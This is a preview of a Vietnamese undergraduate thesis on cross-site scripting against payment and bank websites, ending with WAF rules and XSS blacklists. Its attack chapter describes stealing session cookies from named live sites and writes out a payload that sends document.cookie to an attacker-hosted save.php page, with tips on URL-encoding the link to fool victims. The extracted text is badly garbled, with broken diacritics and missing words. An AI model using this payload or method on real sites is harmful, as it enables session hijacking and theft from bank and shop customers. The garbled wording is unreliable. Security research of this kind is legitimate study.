Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 53 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
53
Dung lượng
1,62 MB
Nội dung
BỘ GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC NGOẠI NGỮ - TIN HỌC TP.HCM KHOA CÔNG NGHỆ THÔNG TIN KHĨA LUẬN TỐT NGHIỆP NGHIÊN CỨU THANH TỐN ONLINE QUA LỖ HỔNG CROSS – SITE SCRIPTING (XSS) GIẢNG VIÊN HƯỚNG DẪN: ThS Phạm Đình Thắng SINH VIÊN THỰC HIỆN: Nguyễn Ngọc Linh – 15DH110357 Diệp Xương Cơ – 15DH110220 TP.HỒ CHÍ MINH - 2019 LỜI MỞ ĐẦU Lời cảm ơn Lời nói chúng em xin cảm ơn trường Ngoại Ngữ- Tin Học Hồ Chí Minh, khoa Cơng Nghệ Thơng Tin tồn thể thầy cán khoa tạo điều kiện thuận lợi, tận tình giảng dạy trang bị cho chúng em đầy đủ kiến thức năm vừa qua Chúng em xin gửi lời cảm ơn sâu sắc đến thầy Phạm Đình Thắng tận tình hướng dẫn, bảo sửa lỗi sai cho chúng em việc thực đồ án tốt nghiệp Đề tài nghiên cứu Theo công bố Liên minh Viễn Thông Quốc Tế (ITU) tháng 5/2015 báo cáo Chỉ số an tồn thơng tin mạng toàn cầu (Global Cybersecurity Index - GCI), Việt Nam xếp thứ 76 số 196 quốc gia đánh giá với số an toàn mạng (gọi tắt số) 0,324 so với mức trung bình giới 0,28 (chỉ số cao quốc gia đánh giá 1,0)[i] Trong Cross-Site-Scripting (gọi tắt XSS) chiếm khoảng 84% tất lỗ hổng bảo mật Symantec ghi nhận vào năm 2007[ii] Trong năm 2017, XSS coi mối đe dọa lớn, đặc biệt trang website mạng tính ứng dụng có tích hợp với tốn online, kết nối với thơng tin cá nhân khách hàng, thông tin tài khoản ngân hàng hàng loạt thông tin nhạy cảm, khác với mục đích cơng trực tiếp vào hệ thống máy chủ hay cơng vào máy tính người dùng, XSS công vào cá nhân người dùng cuối đánh cắp thông tin họ session, thông tin cá nhân (thẻ ngân hàng, địa email, mật người dùng, ), keylogging, phishing, Như vậy, lỗ hổng bảo mật XSS chiếm vai trò quan trọng việc bảo mật người dùng cuối Tuy khó để lường hết mức độ nguy hiểm XSS việc ngăn chặn XSS phát triển không ngừng cách mạng 4.0 (AI, IoT, Big Data) kéo theo phát triển cơng nghệ tốn mua hàng online thông qua trang web bán hàng nơi mà nơi đâu làm người dùng thực việc mua hàng toán tài khoản ngân hàng hay ứng dụng toán trung gian khácmột phương thức toán “hot” (PayPal, Zalo pay, Moca, AirPay, Momo, ) nhóm em tiến hành chọn đề tài Nghiên cứu tốn online thơng qua lỗ hổng XSS nhằm đưa vấn đề liên quan đến lỗ hổng XSS tồn hoạt động việc bảo mật ứng dụng web Việt Nam giúp cảnh báo doanh nghiệp lỗ hổng việc bảo mật an ninh mạng, khả tổn thất vấn đề bảo mật website bảo vệ người dùng khỏi công tránh cho doanh nghiệp cá nhân người dùng bị tổn thất vấn đề an ninh mạng mà cụ thể lỗ hổng bảo mật Cross-Site-Scripting (XSS) MỤC LỤC CHƯƠNG I: GIỚI THIỆU 1 Giới thiệu 1.1 Web Application 1.2 Giới thiệu Cross – site Scripting (XSS) 1.3 Các phương thức công XSS 1.4 Tác hại công tiêu biểu xss 14 1.5 Cross – site Scripting (XSS) toán online 15 Các loại bypass nâng cao 18 Mục đích nghiên cứu 20 Đối tượng nghiên cứu 21 Nội dung phạm vi nghiên cứu .21 Thời gian thực nghiên cứu 21 CHƯƠNG II: THỰC HIỆN NGHIÊN CỨU ĐỀ TÀI 22 Cross – site Scripting với trang web có tốn online 22 1.1 Tấn công DOM-based XSS .22 1.2 Tấn công Stored XSS 28 1.3 Tấn công reflected XSS 32 Cross-Site-Scripting với trang web ngân hàng 35 Đánh giá đề xuất phương pháp bảo mật 38 Hệ thống đề xuất 40 CHƯƠNG III: KẾT LUẬN 44 Những vấn đề làm 44 Những vấn đề chưa làm .44 Hướng phát triển nghiên cứu 44 TÀI LIỆU THAM KHẢO 46 DANH SÁCH BẢNG Bảng Các công tiêu biểu XSS (2001 – 2014) DANH SÁCH HÌNH Hình Các tầng ứng dụng web .1 Hình Cơ chế cơng XSS Hình Những loại lỗ hổng bảo mật năm 2017 Hình Những loại lỗ hổng bảo mật năm 2019 Hình chế cơng Reflected XSS 11 Hình Cơ chế công Stored XSS .12 Hình Cơ chế công DOM-based XSS 13 Hình Trang chủ web có lỗ hổng - Hasaki 23 Hình Source code trang Hasaki 23 Hình 10 Kiểm tra lỗ hổng web 24 Hình 11 Kết nhúng mã script 24 Hình 12 Upload lấy cookies 25 Hình 13 File chứa cookies 26 Hình 14 Trang đăng nhập hasaki 27 Hình 15thay cookies để đăng nhập 27 Hình 16 đăng nhập thành cơng cookies 28 Hình 17 Chỉnh sửa đánh cắp thơng tin người dùng 28 Hình 18 Kiểm tra phần bình luận trang web zing.mp3 29 Hình 19 Kết nhúng mã script 30 Hình 20 Phản hồi trang sau bị nhúng mã script 30 Hình 21 Mã code lấy cookie 31 Hình 22 Mã JavaScript dùng cơng trang 32 Hình 23 Cookie lấy 32 Hình 24 Trang chủ trang bị lỗi – Miraso .33 Hình 25 Kết sau nhúng mã JavaScript 34 Hình 26 Mã code lấy cookie 35 Hình 27 Trang chủ ngân hàng - Bắc Á Bank 36 Hình 28 Session trang lấy 37 Hình 29- Trang dùng để công 38 Hình 30 Cookie ngân hàng bị lấy .38 Hình 31 Mơ hình tường lửa 42 Chương I: Giới thiệu CHƯƠNG I: GIỚI THIỆU Giới thiệu 1.1 Web Application Web Application ứng dụng phát triển ngôn ngữ PHP, ASP, JavaScript, HTML CSS, v.v Người dùng ứng dụng web truy cập thơng qua trình duyệt web Web Application có hai thành phần giao diện người dùng phía máy khách phía máy chủ, web application thu hút 800 triệu người tham gia vận chuyển 100 triệu USD ngày Web Browser Presentation Layer (HTML/JavaScript) Server Programming Layer (JSP/ASP/CGI/PHP) Database Layer Hình Các tầng ứng dụng web Một mối đe dọa lớn mà nhà phát triển ứng dụng Web phải hiểu biết cách giảm thiểu công XSS Mặc dù XSS phần tương đối nhỏ lĩnh vực bảo mật ứng dụng Web, nguy hiểm người dùng Internet thông thường 1.2 Giới thiệu Cross – site Scripting (XSS) Trang Chương I: Giới thiệu Cross – site Scripting ? Lỗ hổng Cross-Site Scripting (XSS) có từ năm 1996 - ngày đầu phát triển World Wide Web (Web) Khi thương mại điện tử bắt đầu phổ biến JavaScript xuất sử dụng công cụ nhấn cảnh cho phép nhà phát triển xây dựng website với ảnh động, menu nổi, pop-up,… Vậy Cross-Site Scripting (XSS) gì? XSS công chống lại người dùng ứng dụng web, XSS kỹ thuật cho phép attacker nhúng HTML Markup JavaScript vào giao diện người dùng ứng dụng web buộc trang web hiển thị mã độc hại attacker nhúng vào, sau thực thi mã trình duyệt web người dùng Lỗ hổng phát sinh trang chứa lỗ hổng bị attacker nhúng mã JavaScript lấy liệu số người dùng tự động đưa đến trang định – trang attacker Cơ chế tổng quan XSS thực sau: Đầu tiên, attacker tìm kiếm trang web có chứa lỗ hổng XSS Nhúng mã JavaScript có chứa nội dùng thực thi vào trang web Người dùng truy cập vào trang có chứa mã thực thi (có thể trang attacker - công DOM/Reflected XSS trang chủ thực lưu mã công- công Stored XSS) mà attacker nhúng vào Người dùng thực thi hoạt động cá nhân trang (đăng nhập, mua hàng toán,…), mã thực thi tiến hành ghi lại thông tin người dùng cung cấp gửi đến máy chủ attacker Trang Chương I: Giới thiệu Hình Cơ chế công XSS Lỗ hổng XSS web xảy lúc liệu không đáng tin cậy trang web mà không cần xác nhận cập nhật người dùng máy chủ (bằng cách sử dụng trình duyệt API) XSS cho phép attacker thực tập lệnh trình duyệt người dùng mà dùng cơng session, làm trang web, đánh cắp thơng tin trình duyệt, keyllogger chuyển hướng người dùng đến trang web độc hại khác Trong XSS, attacker khai thác lòng tin người dùng ứng dụng web để khai thác thông tin người dùng web Mặc dù tìm thấy hạn chế suốt 20 năm qua XSS lỗ hổng bảo mật đáng lưu tâm Khơng có doanh nghiệp mắc phải lỗ hổng này, doanh nghiệp lớn chí doanh nghiệm chuyên bảo mật mắc phải lỗ hổng Cisco, IBM, Microsoft, Lịch sử hình thành Cross – site Scripting Hình thành 20 năm, trở nên rầm rộ kể từ 10 năm trở lại lỗ hổng XSS chưa có dấu hiệu bị ngăn chặn triệt để Các công Cross-site scripting tăng 160% quý cuối năm 2012; từ triệu đến 2,6 triệu quý, chiếm 57% công ghi nhận - theo FireHost Theo nghiên cứu bảo mật Trustwave, Trang Chương II: Thực nghiên cứu đề tài Hình 22 Mã JavaScript dùng cơng trang Bây cần người dùng nghe nhạc đăng nhập tài khoản để bình luận Lúc người dùng bị chuyển đến website người công sessid bị lấy Hình 23 Cookie lấy 1.3 Tấn cơng reflected XSS Mục tiêu công: Miraso Trang 32 Chương II: Thực nghiên cứu đề tài Miraso website hệ thống siêu thị Hàn Quốc Tình trạng tại: Miraso chưa sửa chữa lỗ hổng, việc khai thác lấy cookie người dùng Thực cơng Website: https://miraso.vn/ tìm ngẫu nhiên mỹ phẩm Sau trang web cho kết URL có hiển thị là: Hình 24 Trang chủ trang bị lỗi – Miraso Bắt đầu thử ký tự đặc biệt trang web thơng qua khơng có hàm xử lý nên nhúng script vào : Trang 33 Chương II: Thực nghiên cứu đề tài Hình 25 Kết sau nhúng mã JavaScript Vậy website bị lỗi XSS dạng Reflected XSS Vì cho người dùng nhúng lệnh script thực thi vào cơng cụ search khơng có function xử lý ký tự đặc biệt đưa vào Và để lấy cookie người dùng Thì trước attacker tạo trang hostfree https://000.webhost.com/ tự lấy tự build host quản lý Sau có trang host update file code lấy cookie lưu trữ cookie nơi web attacker Trang 34 Chương II: Thực nghiên cứu đề tài Hình 26 Mã code lấy cookie Sau nhúng mã script lấy cookie người dùng script: document.location='http://nguyendiep.000webhostapp.com/save.php?co okie='+escape(document.cookie); Và để tránh bị phát người dùng người dùng dễ tin muốn lấy cookie họ thay đổi vài ký tự ký tự sau sang dạng Encode URL Sau gửi cho người dùng khả tin họ truy cập vào đường link attacker bị lấy cookie attacker lấy cookie họ truy cập lại trang web với quyền người dùng Cross-Site-Scripting với trang web ngân hàng Trang 35 Chương II: Thực nghiên cứu đề tài Mục tiêu công: Bắc Á Bank website ngân hàng Bắc Á Việt Nam với vốn điều lệ 5.468 tỉ đồng thành lâp năm 1994 với trụ sở đặt Nghệ An Với quy mơ 102 điểm giao dịch nước, bắc Á bank trở ngân hàng vừa Việt Nam Tình trạng tại: BẮc Á sửa chửa lỗ hổng, việc khai thắc dừng lại việc lấy cookie người dùng Thực công: Website: https://www.baca-bank.vn/ Tấn công vào công cụ search trang ngân hàng Hình 27 Trang chủ ngân hàng - Bắc Á Bank Sau test thấy trang chủ họ bị lỗi XSS dạng reflected XSS Bắt đầu nhúng lấy cookie người dùng Trang 36 Chương II: Thực nghiên cứu đề tài Hình 28 Session trang lấy Nhưng trang chủ trang đăng nhập trang độc lập riêng biệt không liên kết tài khoản với nên thành dạng reflected XSS lấy cookie session khách hàng Chuyển qua dạng XSS khác là: Stored XSS attack Dạng nhúng script vào database nhầm cho người dùng tự động tìm đến thao tác chuyển tiền cho tài khoản ngoại cục nội Thông qua phần nội dung để nhúng đoạn script vào lưu vô database Trang 37 Chương II: Thực nghiên cứu đề tài Hình 29- Trang dùng để cơng Sau đợi tài khoản khác đăng nhập vào thao tác chuyển giao tiền từ tài khoản người dùng sang tài khoản người dùng khác Khi bên thứ có cookie session người chuyển giao tiền Hình 30 Cookie ngân hàng bị lấy Đánh giá đề xuất phương pháp bảo mật Cross-Site Scripting công nguy hiểm phổ biến tìm thấy ứng dụng web Sau thời gian nghiên cứu cho thấy, lỗ hổng XSS tồn số trang web lớn Việt Nam ZingMp3, Bắc Á Bank, RaoVat,… số trang web vừa nhỏ Hasaki, Mirosa,… việc tồn lỗ hổng phổ biến, việc khai thác lỗ hổng từ XSS để thực cơng vào tốn online chưa có khả lớn, tức việc khai thác lỗ hổng XSS lấy thông tin làm tiền đề cho công khác ( Bắc Á Bank lấy thông tin người dùng, số dư tài khoản thông tin tài khoản chưa thể dùng XSS để đánh Trang 38 Chương II: Thực nghiên cứu đề tài cắp tiền từ tài khoản, ZingMp3 lấy tài khoàn người dùng chưa thể lấy số thẻ tín dụng tài khoản ZaloPay liên kết) Vì thế, lỗ hổng XSS thật nghiêm trọng có kết hợp lỗ hổng bảo mật người dùng khác (Bắc Á Bank kết hợp với không sử dụng mã xác thực OTP cho giao dịch khiến việc đánh cắp tiền người dùng trở nên dễ dàng hơn, ZingMp3 khơng mã hóa che số thẻ attacker lấy số thẻ cách dễ dàng) lợi dụng XSS gây công khác DDoS, social engineering, Từ cho thấy, XSS lỗ hổng bảo ,à doanh nghiệp nên quan tâm lỗ hổng gây thơng tin người dùng (gây tổn thất doanh tiếng doanh nghiệp) mà gây tổn thất cho khách hàng hệ thống doanh nghiệp (nếu doanh nghiệp có thêm lỗ hổng bảo mật khác) Ở Việt Nam, trang web doanh nghiệp lớn có danh nghiệp chưa thực bảo mật web tốt (VNG-ZingMp3) đa số doanh nghiệp lớn có chế bảo mật tốt (VnExpress, Tiki, ViettinBank, HSBC, Sendo…) Doanh nghiệp nhỏ trung chưa thực có quan tâm đến việc bảo mật an ninh mạng (cụ thể lỗ hổng XSS) (Hasaki, Nhật Tảo, ) Những doanh nghiệp nghiên cứu bị điểm yếu sau: Đối với ZingMp3: Việc triển khai rule chống XSS chưa thật mạnh mẽ, việc sau công Zing khắc phục lỗ hổng nhanh chóng chứng tỏ Zing có sở hạ tầng bảo mật web chưa thật tâm vào chống cơng XSS Vì thế, Zing cần có kế hoạch quan tâm vấn đề bảo mật ứng dụng web mà cụ thể lỗ hổng XSS, cần có lọc thơng minh gần hồn thiện để chống lại script XSS XSS bypass Đối với Hasaki: Hasaki từ lúc thực công đên hoàn thành nghiên cứu, doanh nghiệp chưa khắc phục lỗ Trang 39 Chương II: Thực nghiên cứu đề tài hổng trang cá nhân, hasaki chưa có sở hạ tầng bảo mật website doanh nghiệp lại có đầu tư để phát triển ứng dụng web, cho thấy doanh nghiệp chưa có quan tâm sâu sắc bảo mật ứng dụng web Vì thế, doanh nghiệp cần nhận thức mối nguy hiểm việc an tồn thơng tin mạng, tiến hành trang bị sở hạ tầng để lọc, ngăn chặn công Đối với Bắc Á Bank: Bắc Á Bank suốt trình nghiên cứu, sửa lỗi nhanh tất trang web, chứng tỏ Bắc Á Bank có cở sở hạ tầng bảo mật tốt chưa có quan tâm cần thiết dành cho số lỗ hổng ( cụ thể XSS), đặc biệt trang ngân hàng Bắc Á Bank nguy hiểm Bắc Á Bank cần quan tâm việc bảo mật an ninh mạng Đối với Mirosa: Giống Hasaki doanh nghiệp vừa nên chưa có đầu tư cho bảo mật an ninh mạng Mirosa cần đầu tư chế độ bảo mật riêng cho công cụ bảo mật Cisco, IBM, ModSecurity,… Hệ thống đề xuất Hệ thống đề xuất nhóm nghiên cứu bao gồm tiếp cận hai cấp - để phát công persistent non-persistent XSS, thứ hai để ngăn chặn công DOM XSS Đối với cấp nên triển khai tập lệnh logic bảo vệ phần điều khiển kiến trúc MVC2 máy chủ Bộ điều khiển nhận tất yêu cầu từ khách hàng chuyển yêu cầu đến trang tương ứng theo yêu cầu Bộ điều khiển nhận tham số gửi máy khách quét giá trị tham Trang 40 Chương II: Thực nghiên cứu đề tài số cho công XSS Các giá trị khớp với tập hợp biểu thức cơng XSS (Bộ lọc) Trong trường hợp bị công, yêu cầu chuyển hướng trở lại trang khơng có kết yêu cầu Đối với tầng thứ hai để ngăn chặn công DOM, sử dụng mã JavaScript nhỏ (tập lệnh phát công DOM) gửi đến máy khách với phản hồi Mã hoạt động phía máy khách ngăn chặn loại cơng DOM XSS Vì vậy, hạn chế công XSS Doanh nghiệp cần hiểu biết tác hại công mạng, không nên tâm vào việc bảo mật ứng điện thoại bảo mật hệ thống máy chủ doanh nghiệp, tâm vào phát triển ứng dụng mà quên việc bảo mật ứng dụng web, bảo mật thông tin người dùng Bỏ chi phí hợp lý cho việc bảo mật an ninh mạng, sử dụng thiết bị chống công để ngăn chặn Xây dựng phát triển ứng dụng web theo tiêu chuẩn 2.0 vào tiêu chí bảo mật cao OWASP, DSS, PCI… Hạn chế công thông qua thiết bị bảo mật ứng dụng web chuyên dụng (Web Application Firewall) Fortinet Forti Web, Citrix NetScaler AppFirewall, F5 Advanced WAF, Radware AppWall, Symantec WAF, Barracuda WAF, Imperva WAF, Sophos XG Firewall, SonicWall NSa,… Vì XSS cơng chủ yếu vào lớp ứng dụng mơ hình OSI nên việc triển khai lắp đặt WAF ứng dụng firewall khác, sau tường lửa mạng trước máy chủ ứng dụng web – hướng chủ yếu nguồn thông tin Trang 41 Chương II: Thực nghiên cứu đề tài Hình 31 Mơ hình tường lửa Sử dụng số phiên mã nguồn WAF (ModSecurity, URLScan, WebKnight,…) giúp doanh nghiệp lọc lưu lượng truy cập web, tạo quy tắc ngăn chặn mã JavaScript ( lọc dựa địa IP, tiêu đề HTTP, phần thân HTTP, chuỗi URL, mã lệnh , encode, kỹ thuật bypass thông thường,…) bảo vệ ứng dụng web cá nhân doanh nghiệp khỏi cơng mạng khơng XSS mà cịn SQL Injection, CSRF, Cookie Poisoning, Malicious Crawling, Malicious Scanning,… nhằm hạn chế tổn thất cho doanh nghiệp bảo mật người dùng Một số cấu hình dành cho WAF: Rule chống XSS nằm file cấu hình: base_rules\modsecurity_crs_41_xss_attacks.conf # non-volatile SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/ utm/|REQUEST_COOKIES_NA MES|ARGS_NAMES|ARGS|XML:/* "(?i:)" "phase:2,rev:'2',ver:'OWASP_CRS/2.2.7',maturity:'8',accuracy:'8',id:'973315',capture,l ogdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: Trang 42 Chương II: Thực nghiên cứu đề tài %{MATCHED_VAR}',t:none,t:htmlEntityDecode,t:compressWhiteSpace,block,msg:' IE XSS Filters - Attack Detected.',tag:'OWASP_CRS/WEB_ATTACK/XSS',tag:'WASCTC/WASC8',tag:'WASCTC/WASC22',tag:'OWASP_TOP_10/A2',tag:'OWASP_AppSensor/IE1',tag:'PCI/6.5.1',setvar:'tx msg=%{rule.msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.ano maly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}OWASP_CRS/WEB_ATTACK/XSS-%{matched_var_name}=%{tx.0}" Loại trừ tham số công XSS $exclusion2 = New-AzApplicationGatewayFirewallExclusionConfig ` -MatchVariable "RequestArgNames" ` -SelectorMatchOperator "Equals" ` -Selector "user" Blacklist cho công XSS : alert, prompt, confirm, document, cookie, onmouseover, < ,> , &, ‘ ,” , encode, hex, Whitelist cho công XSS: body{ margin-left:expression('alert(‘XSS’)') } The tag, similar to the and tags can also specify a background and therefore embed a script: (a) (b) (c ) $colour = "expression(document.write('